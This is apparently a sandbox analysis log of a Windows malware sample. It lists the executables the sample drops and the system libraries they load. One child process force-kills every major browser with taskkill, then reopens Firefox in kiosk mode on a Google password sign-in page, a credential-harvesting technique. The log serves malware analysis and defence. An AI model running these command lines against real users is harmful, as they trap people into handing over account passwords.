Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4424 -parentBuildID 20230927232528 -prefsHandle 4436 -prefMapHandle 3868 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {80b71839-4a51-456b-9b0f-3f9628a6f368} 8020 "\\.\pipe\gecko-crash-server-pipe.8020" 1b33e6f2810 rdd
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe "C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe "C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe "C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe "C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe "C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe "C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002767001\num.exe "C:\Users\user\AppData\Local\Temp\1002767001\num.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Process created: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe "C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe"
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Process created: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe "C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe"
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {95852de9-fa07-429f-b0eb-acecbe82c7f0} 8020 "\\.\pipe\gecko-crash-server-pipe.8020" 1b32c56b710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4424 -parentBuildID 20230927232528 -prefsHandle 4436 -prefMapHandle 3868 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {80b71839-4a51-456b-9b0f-3f9628a6f368} 8020 "\\.\pipe\gecko-crash-server-pipe.8020" 1b33e6f2810 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wtsapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winsta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Section loaded: windows.storage.dll
